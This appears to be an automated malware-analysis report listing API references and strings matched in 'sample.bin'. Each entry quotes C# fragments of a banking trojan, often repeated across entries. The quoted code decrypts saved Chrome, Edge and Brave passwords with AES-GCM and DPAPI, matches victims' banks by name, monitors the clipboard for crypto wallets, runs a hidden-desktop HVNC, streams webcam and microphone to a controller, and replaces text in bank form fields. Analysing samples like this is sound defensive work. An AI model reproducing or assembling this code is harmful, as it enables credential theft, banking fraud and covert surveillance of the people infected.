"scb.co.th", "bangkokbank.com", "krungthai", "ktb.co.th", "krungsri", "ttbbank.com", "scbeasy", "vietcombank", "vietinbank"," (Source: sample.bin, Indicator: "anz.com"), "if (string.IsNullOrEmpty(tag)) return "Unknown Bank"; string[] p = tag.Split(' '); for (int i = 0; i < p.Length; i++) if (p[i].Length > 0) p[i] = char.ToUpper(p[i][0]) + (p[i].Length > 1 ? p[i].Substring(1) : ""); return string.Join(" ", p); } static string GuessBankUrl(string tag, string title) { string low = ((title ?? "") + " " + (tag ?? "")).ToLowerInvariant(); if (low.IndexOf("wells") >= 0) return "https://www.wellsfargo.com"; if (low.IndexOf("bank of america") >= 0 || low.IndexOf("bofa") >= 0) return "https://www.bankofamerica.com"; if (low.IndexOf("citi") >= 0) return "https://www.citi.com"; if (low.IndexOf("paypal") >= 0) return "https://www.paypal.com"; if (low.IndexOf("hsbc") >= 0) return "https://www.hsbc.com"; if (low.IndexOf("dbs") >= 0) return "https://www.dbs.com.sg"; if (low.IndexOf("ocbc") >= 0) return "https://www.ocbc.com"; if (low.IndexOf("uob") >= 0) ret" (Source: sample.bin, Indicator: "dbs.com.sg"), "turn "https://www.maya.ph"; if (low.IndexOf("bdo") >= 0) return "https://www.bdo.com.ph"; if (low.IndexOf("bpi") >= 0) return "https://www.bpi.com.ph"; if (low.IndexOf("alipay") >= 0) return "https://www.alipay.com"; return "https://(bank)/" + (tag ?? "").Replace(" ", "-"); } static void LookupBankCreds(string url, string tag, out string user, out string pass) { user = ""; pass = ""; try { string la = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); string[][] roots = new string[][] { new string[] { "Chrome", Path.Combine(la, "Google", "Chrome", "User" + " Data") }, new string[] { "Edge", Path.Combine(la, "Microsoft", "Edge", "User" + " Data") }, new string[] { "Brave", Path.Combine(la, "BraveSoftware", "Brave-Browser", "User" + " Data") } }; string needle = ((url ?? "") + " " + (tag ?? "")).ToLowerInvariant(); " (Source: sample.bin, Indicator: "bpi.com.ph")3a:T4da7,Found api reference "y, cipher, cipher.Length, ref info, null, 0, output, output.Length, out result, 0); if (status != 0) { // Retry with explicit IV buffer = nonce (some Windows builds) byte[] ivCopy = new byte[nonce.Length]; Buffer.BlockCopy(nonce, 0, ivCopy, 0, nonce.Length); status = BCryptDecrypt(hKey, cipher, cipher.Length, ref info, ivCopy, ivCopy.Length, output, output.Length, out result, 0); } // Some stacks want ciphertext||tag as single input with pbTag still set if (status != 0) { byte[] ct = new byte[cipher.Length + tag.Length]; Buffer.BlockCopy(cipher, 0, ct, 0, cipher.Length); Buffer.BlockCopy(tag, 0, ct, cipher.Length, tag.Length); output = new byte[cipher.Length]; status = BCryptDecrypt(hKey, ct, ct.Length, ref info, null, 0, output, output.Length, out result, 0); } if (status " (Indicator: "BCryptDecrypt"; Source: "sample.bin"), Found api reference "y, cipher, cipher.Length, ref info, null, 0, output, output.Length, out result, 0); if (status != 0) { // Retry with explicit IV buffer = nonce (some Windows builds) byte[] ivCopy = new byte[nonce.Length]; Buffer.BlockCopy(nonce, 0, ivCopy, 0, nonce.Length); status = BCryptDecrypt(hKey, cipher, cipher.Length, ref info, ivCopy, ivCopy.Length, output, output.Length, out result, 0); } // Some stacks want ciphertext||tag as single input with pbTag still set if (status != 0) { byte[] ct = new byte[cipher.Length + tag.Length]; Buffer.BlockCopy(cipher, 0, ct, 0, cipher.Length); Buffer.BlockCopy(tag, 0, ct, cipher.Length, tag.Length); output = new byte[cipher.Length]; status = BCryptDecrypt(hKey, ct, ct.Length, ref info, null, 0, output, output.Length, out result, 0); } if (status " (Indicator: "CryptDecrypt"; Source: "sample.bin"), Found api reference " if (BCryptSetProperty(hAlg, "ChainingMode", chainMode, chainMode.Length, 0) != 0) return null; if (BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0) != 0) return null; var info = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); info.cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); info.dwInfoVersion = 1; hNonce = GCHandle.Alloc(nonce, GCHandleType.Pinned); hTag = GCHandle.Alloc(tag, GCHandleType.Pinned); info.pbNonce = hNonce.AddrOfPinnedObject(); info.cbNonce = nonce.Length; info.pbTag = hTag.AddrOfPinnedObject(); info.cbTag = tag.Length; info.pbAuthData = IntPtr.Zero; info.cbAuthData = 0; byte[] output = new byte[Math.Max(cipher.Length, 1)]; int result = 0; // Prefer nonce in AUTH info, IV arg null (standard for GCM on BCrypt) int status = BCryptDecrypt(hKe" (Indicator: "BCryptDecrypt"; Source: "sample.bin"), Found api reference " if (BCryptSetProperty(hAlg, "ChainingMode", chainMode, chainMode.Length, 0) != 0) return null; if (BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0) != 0) return null; var info = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); info.cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); info.dwInfoVersion = 1; hNonce = GCHandle.Alloc(nonce, GCHandleType.Pinned); hTag = GCHandle.Alloc(tag, GCHandleType.Pinned); info.pbNonce = hNonce.AddrOfPinnedObject(); info.cbNonce = nonce.Length; info.pbTag = hTag.AddrOfPinnedObject(); info.cbTag = tag.Length; info.pbAuthData = IntPtr.Zero; info.cbAuthData = 0; byte[] output = new byte[Math.Max(cipher.Length, 1)]; int result = 0; // Prefer nonce in AUTH info, IV arg null (standard for GCM on BCrypt) int status = BCryptDecrypt(hKe" (Indicator: "BCryptGenerateSymmetricKey"; Source: "sample.bin"), Found api reference " if (BCryptSetProperty(hAlg, "ChainingMode", chainMode, chainMode.Length, 0) != 0) return null; if (BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0) != 0) return null; var info = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); info.cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); info.dwInfoVersion = 1; hNonce = GCHandle.Alloc(nonce, GCHandleType.Pinned); hTag = GCHandle.Alloc(tag, GCHandleType.Pinned); info.pbNonce = hNonce.AddrOfPinnedObject(); info.cbNonce = nonce.Length; info.pbTag = hTag.AddrOfPinnedObject(); info.cbTag = tag.Length; info.pbAuthData = IntPtr.Zero; info.cbAuthData = 0; byte[] output = new byte[Math.Max(cipher.Length, 1)]; int result = 0; // Prefer nonce in AUTH info, IV arg null (standard for GCM on BCrypt) int status = BCryptDecrypt(hKe" (Indicator: "BCryptSetProperty"; Source: "sample.bin"), Found api reference " if (BCryptSetProperty(hAlg, "ChainingMode", chainMode, chainMode.Length, 0) != 0) return null; if (BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0) != 0) return null; var info = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); info.cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); info.dwInfoVersion = 1; hNonce = GCHandle.Alloc(nonce, GCHandleType.Pinned); hTag = GCHandle.Alloc(tag, GCHandleType.Pinned); info.pbNonce = hNonce.AddrOfPinnedObject(); info.cbNonce = nonce.Length; info.pbTag = hTag.AddrOfPinnedObject(); info.cbTag = tag.Length; info.pbAuthData = IntPtr.Zero; info.cbAuthData = 0; byte[] output = new byte[Math.Max(cipher.Length, 1)]; int result = 0; // Prefer nonce in AUTH info, IV arg null (standard for GCM on BCrypt) int status = BCryptDecrypt(hKe" (Indicator: "CryptDecrypt"; Source: "sample.bin"), Found api reference "!= 0) return null; if (result <= 0) return null; if (result == output.Length) return output; byte[] trimmed = new byte[result]; Buffer.BlockCopy(output, 0, trimmed, 0, result); return trimmed; } catch { return null; } finally { try { if (hNonce.IsAllocated) hNonce.Free(); } catch { } try { if (hTag.IsAllocated) hTag.Free(); } catch { } try { if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey); } catch { } try { if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0); } catch { } } } static void WalletClipLoop() { string last = ""; while (true) { try { string data = ""; var t = new Thread(() => { try { if (Clipboard.ContainsText()) data = Clipboard.GetText() ?? ""; } catch { } }); t.SetApartmentState(ApartmentState.STA); t.Start(); t.Join(2000); " (Indicator: "BCryptCloseAlgorithmProvider"; Source: "sample.bin"), Found api reference "!= 0) return null; if (result <= 0) return null; if (result == output.Length) return output; byte[] trimmed = new byte[result]; Buffer.BlockCopy(output, 0, trimmed, 0, result); return trimmed; } catch { return null; } finally { try { if (hNonce.IsAllocated) hNonce.Free(); } catch { } try { if (hTag.IsAllocated) hTag.Free(); } catch { } try { if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey); } catch { } try { if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0); } catch { } } } static void WalletClipLoop() { string last = ""; while (true) { try { string data = ""; var t = new Thread(() => { try { if (Clipboard.ContainsText()) data = Clipboard.GetText() ?? ""; } catch { } }); t.SetApartmentState(ApartmentState.STA); t.Start(); t.Join(2000); " (Indicator: "BCryptDestroyKey"; Source: "sample.bin"), Found api reference "!= 0) return null; if (result <= 0) return null; if (result == output.Length) return output; byte[] trimmed = new byte[result]; Buffer.BlockCopy(output, 0, trimmed, 0, result); return trimmed; } catch { return null; } finally { try { if (hNonce.IsAllocated) hNonce.Free(); } catch { } try { if (hTag.IsAllocated) hTag.Free(); } catch { } try { if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey); } catch { } try { if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0); } catch { } } } static void WalletClipLoop() { string last = ""; while (true) { try { string data = ""; var t = new Thread(() => { try { if (Clipboard.ContainsText()) data = Clipboard.GetText() ?? ""; } catch { } }); t.SetApartmentState(ApartmentState.STA); t.Start(); t.Join(2000); " (Indicator: "CryptDestroyKey"; Source: "sample.bin"), Found api reference "managedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); // Pack=8 matches Windows BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO on x64 (critical for GCM tag " (Indicator: "BCryptCloseAlgorithmProvider"; Source: "sample.bin"), Found api reference "managedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); // Pack=8 matches Windows BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO on x64 (critical for GCM tag " (Indicator: "BCryptDecrypt"; Source: "sample.bin"), Found api reference "managedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); // Pack=8 matches Windows BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO on x64 (critical for GCM tag " (Indicator: "BCryptDestroyKey"; Source: "sample.bin"), Found api reference "managedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); // Pack=8 matches Windows BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO on x64 (critical for GCM tag " (Indicator: "BCryptGenerateSymmetricKey"; Source: "sample.bin"), Found api reference "managedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); // Pack=8 matches Windows BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO on x64 (critical for GCM tag " (Indicator: "BCryptSetProperty"; Source: "sample.bin"), Found api reference "managedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); // Pack=8 matches Windows BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO on x64 (critical for GCM tag " (Indicator: "CryptDecrypt"; Source: "sample.bin"), Found api reference "managedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] static extern int BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); // Pack=8 matches Windows BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO on x64 (critical for GCM tag " (Indicator: "CryptDestroyKey"; Source: "sample.bin"), Found api reference "52, 56, 60, 64, 72, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512 }; for (int li = 0; li < lens.Length; li++) { int len = lens[li]; if (offset + len > data.Length) break; byte[] blob = new byte[len]; Buffer.BlockCopy(data, offset, blob, 0, len); string plain = DecryptChromium(blob, key); if (!string.IsNullOrEmpty(plain) && plain.Length >= 1 && plain.Length <= 256) { bool ok = true; for (int k = 0; k < plain.Length; k++) if (plain[k] < 32 || plain[k] > 126) { ok = false; break; } if (ok) { consumed = len; return plain; } } } } catch { } return null; } // AES-GCM via BCrypt (works on Win10/11, .NET Framework 4.x) [DllImport("bcrypt.dll")] static extern int BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(Un" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "sample.bin"), Found api reference "0; ki < keys.Length; ki++) { byte[] k = keys[ki]; if (k == null || k.Length < 16) continue; byte[] plain = AesGcmDecryptOnce(k, nonce, cipher, tag); if (plain != null && plain.Length > 0) return plain; } return null; } static byte[] SliceBytes(byte[] src, int off, int len) { if (src == null || off + len > src.Length) return null; byte[] d = new byte[len]; Buffer.BlockCopy(src, off, d, 0, len); return d; } static byte[] AesGcmDecryptOnce(byte[] key, byte[] nonce, byte[] cipher, byte[] tag) { IntPtr hAlg = IntPtr.Zero, hKey = IntPtr.Zero; GCHandle hNonce = default(GCHandle); GCHandle hTag = default(GCHandle); try { if (BCryptOpenAlgorithmProvider(out hAlg, "AES", null, 0) != 0) return null; // ChainingModeGCM property (UTF-16, null-terminated) byte[] chainMode = Encoding.Unicode.GetBytes("ChainingModeGCM\0");" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "sample.bin")3b:T185a,Observed string: " continue; } } // DPAPI (older Chrome) 01 00 00 00 if (masterKey == null && data[i] == 1 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 0) { for (int len = 40; len < 400 && i + len <= data.Length; len += 8) { try { byte[] blob = new byte[len]; Buffer.BlockCopy(data, i, blob, 0, len); byte[] plainB = System.Security.Cryptography.ProtectedData.Unprotect(blob, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); if (plainB != null && plainB.Length >= 1 && plainB.Length <= 256) { string plain = Encoding.UTF8.GetString(plainB); bool printable = true; for (int k = 0; k < plain.Length; k++) .verify) [StructLayout(LayoutKind.Sequential, Pack = 8)] struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO { public int cbSize; public int dwInfoVersion; public IntPtr pbNonce; public int cbNonce; public IntPtr pbAuthData; public int cbAuthData; public IntPtr pbTag; public int cbTag; public IntPtr pbMacContext; public int cbMacContext; public int cbAAD; public long cbData; public int dwFlags; } static byte[] AesGcmDecrypt(byte[] key, byte[] nonce, byte[] cipher, byte[] tag) { if (key == null || nonce == null || cipher == null || tag == null) return null; // Chrome OS_crypt key is 32 bytes (AES-256-GCM). Also try 16-byte slice. byte[][] keys = key.Length >= 32 ? new byte[][] { key, SliceBytes(key, 0, 32), SliceBytes(key, 0, 16) } : (key.Length >= 16 ? new byte[][] { key, SliceBytes(key, 0, 16) } : new byte[][] { key }); for (int ki = .verify) [StructLayout(LayoutKind.Sequential, Pack = 8)] struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO { public int cbSize; public int dwInfoVersion; public IntPtr pbNonce; public int cbNonce; public IntPtr pbAuthData; public int cbAuthData; public IntPtr pbTag; public int cbTag; public IntPtr pbMacContext; public int cbMacContext; public int cbAAD; public long cbData; public int dwFlags; } static byte[] AesGcmDecrypt(byte[] key, byte[] nonce, byte[] cipher, byte[] tag) { if (key == null || nonce == null || cipher == null || tag == null) return null; // Chrome OS_crypt key is 32 bytes (AES-256-GCM). Also try 16-byte slice. byte[][] keys = key.Length >= 32 ? new byte[][] { key, SliceBytes(key, 0, 32), SliceBytes(key, 0, 16) } : (key.Length >= 16 ? new byte[][] { key, SliceBytes(key, 0, 16) } : new byte[][] { key }); for (int ki = " in Source: sample.bin, Observed string: " elevator decrypt failed)"; } if (blob.Length >= 3 && blob[0] == (byte)'v' && blob[1] == (byte)'1') { if (masterKey != null) { string p = DecryptChromium(blob, masterKey); if (!string.IsNullOrEmpty(p)) return p; } if (_chromeAbeKey != null) { string p2 = DecryptChromium(blob, _chromeAbeKey); if (!string.IsNullOrEmpty(p2)) return p2; } } try { byte[] plain = System.Security.Cryptography.ProtectedData.Unprotect(blob, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); if (plain != null && plain.Length > 0 && plain.Length < 300) { string s = Encoding.UTF8.GetString(plain); bool ok = true; for (int i = 0; i < s.Length; i++) if (s[i] < 32 || s[i] > 126) { ok = false; break; } if (ok) return s; } } . Buffer.BlockCopy(blob, blob.Length - 16, tag, 0, 16); byte[] use = key; if (key.Length > 32) { use = new byte[32]; Buffer.BlockCopy(key, key.Length - 32, use, 0, 32); } byte[] plain = AesGcmDecrypt(use, iv, cipher, tag); if (plain == null && use.Length != 16) { byte[] k16 = new byte[16]; Buffer.BlockCopy(use, 0, k16, 0, Math.Min(16, use.Length)); plain = AesGcmDecrypt(k16, iv, cipher, tag); } if (plain == null) return null; string s = Encoding.UTF8.GetString(plain).TrimEnd('\0'); bool bad = false; for (int i = 0; i < s.Length; i++) if (s[i] < 9 || (s[i] > 13 && s[i] < 32)) { bad = true; break; } if (!bad && s.Length > 0) return s; if (plain.Length > 32) { string s2 = Encoding.UTF8.GetString(plain, 32, plain.Length - . elevator decrypt failed)"; } if (blob.Length >= 3 && blob[0] == (byte)'v' && blob[1] == (byte)'1') { if (masterKey != null) { string p = DecryptChromium(blob, masterKey); if (!string.IsNullOrEmpty(p)) return p; } if (_chromeAbeKey != null) { string p2 = DecryptChromium(blob, _chromeAbeKey); if (!string.IsNullOrEmpty(p2)) return p2; } } try { byte[] plain = System.Security.Cryptography.ProtectedData.Unprotect(blob, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); if (plain != null && plain.Length > 0 && plain.Length < 300) { string s = Encoding.UTF8.GetString(plain); bool ok = true; for (int i = 0; i < s.Length; i++) if (s[i] < 32 || s[i] > 126) { ok = false; break; } if (ok) return s; } } " in Source: sample.bin3c:T664c,Found reference to API ".IsLetterOrDigit(tt[e+1]) || tt[e+1]=='.' || tt[e+1]=='-')) e++; string cand = tt.Substring(s, e - s + 1); if (LooksLikeEmail(cand)) return cand; } } catch { } try { EnumChildWindows(hwnd, delegate(IntPtr ch, IntPtr lp) { try { var buf = new System.Text.StringBuilder(256); GetWindowText(ch, buf, 256); string t = buf.ToString(); if (LooksLikeEmail(t)) { found.Length = 0; found.Append(t.Trim()); return false; } } catch { } return true; }, IntPtr.Zero); } catch { } if (found.Length > 0) return found.ToString(); } catch { } return ""; } static string _lpNowUser = ""; static string _lpNowPass = ""; " (Indicator: "enumchildwindows"; Source: "sample.bin"), Found reference to API "ro, IntPtr.Zero, false, 0x00000200 | 0x00000400, IntPtr.Zero, null, ref si, out pi); } catch { } } // HVNC capture: EnumWindows on hidden desktop, then multi-method blit per window. // Chromium often returns black from PrintWindow alone " (Indicator: "enumwindows"; Source: "sample.bin"), Found reference to API "ndexOf("hotmail") >= 0 || low.IndexOf("live.com") >= 0 || low.IndexOf("login.live") >= 0 || low.IndexOf("office") >= 0; if (!mailish && low.IndexOf("microsoft") >= 0 && low.IndexOf("sign") < 0) return true; } for (int i = 0; i < keys.Length; i++) if (low.IndexOf(keys[i]) >= 0) { targets.Add(hWnd); break; } } catch { } return true; }, IntPtr.Zero); foreach (IntPtr h in targets) { try { PostMessage(h, 0x0010, IntPtr.Zero, IntPtr.Zero); closed++; } catch { } } Thread.Sleep(500); } catch { } return closed; } static void OpenBrowserNewWindow(string url) { string[] browsers = new string[] { Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google", "Chrome", "Application", "chr" (Indicator: "postmessage"; Source: "sample.bin"), Found reference to API ", WM_CAP_GRAB_FRAME, IntPtr.Zero, IntPtr.Zero); } catch { } try { Application.DoEvents(); } catch { } try { Thread.Sleep(40); } catch { } } } else { try { ShowWindow(hwnd, 0); } catch { } try { MoveWindow(hwnd, -32000, -32000, W, H, false); } catch { } } if (!connected) { Send("WEBCAM_STATUS|FAIL no camera driver (listed=" + found.Count + "). Camera privacy or in-use by another app."); camOn = false; try { SendMessage(hwnd, 0x0010, IntPtr.Zero, IntPtr.Zero); } catch { } _camHwnd = IntPtr.Zero; return; } try { Send("WEBCAM_STATUS|OK driver=" + driver); } catch { } try { SendMessage(hwnd, WM_CAP_SET_PREVIEW, new IntPtr(1), IntPtr.Zero); } catch { } try { SendMessage(hwnd, WM_CAP_SET_PREVIEWRATE, new IntPtr(66), IntPtr.Zero); } " (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API "(ch); } catch { } return true; }, IntPtr.Zero); } catch { try { _viewerHwnds.RemoveAt(i); } catch { } } } } // 2) Private desktop windows (Notepad/Explorer shell) if (_hiddenDesk != IntPtr.Zero) { try { SetThreadDesktop(_hiddenDesk); } catch { } EnumWindows((hWnd, lParam) => { try { if (!IsWindowVisible(hWnd)) return true; RECT rc; if (!GetWindowRect(hWnd, out rc)) return true; int ww = rc.Right - rc.Left; int hh = rc.Bottom - rc.Top; if (ww < 80 || hh < 80) return true; " (Indicator: "enumwindows"; Source: "sample.bin"), Found reference to API "Clipboard EDIT_COPY try { try { Clipboard.Clear(); } catch { } SendMessage(hwnd, WM_CAP_EDIT_COPY, IntPtr.Zero, IntPtr.Zero); Thread.Sleep(20); try { Application.DoEvents(); } catch { } if (Clipboard.ContainsImage()) { Image img = Clipboard.GetImage(); if (img != null) { bmp = new Bitmap(img); try { img.Dispose(); } catch { } } } } catch { } // 2) SAVEDIB to temp file if (bmp == null) { try { try { if (File.Exists(dibPath)) File.Delete(dibPath); } catch { } " (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API " try { if (hwnd != IntPtr.Zero) SendMessage(hwnd, 0x0010, IntPtr.Zero, IntPtr.Zero); } catch { } _camHwnd = IntPtr.Zero; } } static ImageCodecInfo GetEncoder(ImageFormat format) { try { foreach (ImageCodecInfo c in ImageCodecInfo.GetImageEncoders()) if (c.FormatID == format.Guid) return c; } catch { } return null; } // Mic stream (winmm) " (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API "lStreak++; } } catch { failStreak++; } } else failStreak++; } catch { failStreak++; } if (failStreak > 80) { Send("WEBCAM_STATUS|capture stalled fails=" + failStreak + " ok=" + okFrames); break; } Thread.Sleep(160); } try { if (File.Exists(dibPath)) File.Delete(dibPath); } catch { } try { SendMessage(hwnd, WM_CAP_DRIVER_DISCONNECT, IntPtr.Zero, IntPtr.Zero); } catch { } try { SendMessage(hwnd, 0x0010, IntPtr.Zero, IntPtr.Zero); } catch { } _camHwnd = IntPtr.Zero; camOn = false; Send("WEBCAM_STATUS|Camera OFF okFrames=" + okFrames); } catch (Exception ex) { camOn = false; try { Send("WEBCAM_STATUS|" + ex.Message); } catch { } " (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API " var sb = new StringBuilder(512); try { GetWindowText(h, sb, 512); } catch { } if (sb.Length > 0) return sb.ToString(); try { SendMessageGet(h, 0x000D, (IntPtr)512, sb); } catch { } return sb.ToString() ?? ""; } catch { return ""; } } static void FastReplaceOpenFields() { if (!HasBankPut()) return; try { string focused = FocusedFieldText(); if (IsOtpBox(focused)) return; string put = ClassifyBankReplace(focused); if (string.IsNullOrEmpty(put) || put == focused) return; NativeClipSet(put); NativeClipSet(put); try { SendMessageStr(FocusedHwnd(), 0x000C, IntPtr.Zero, put); 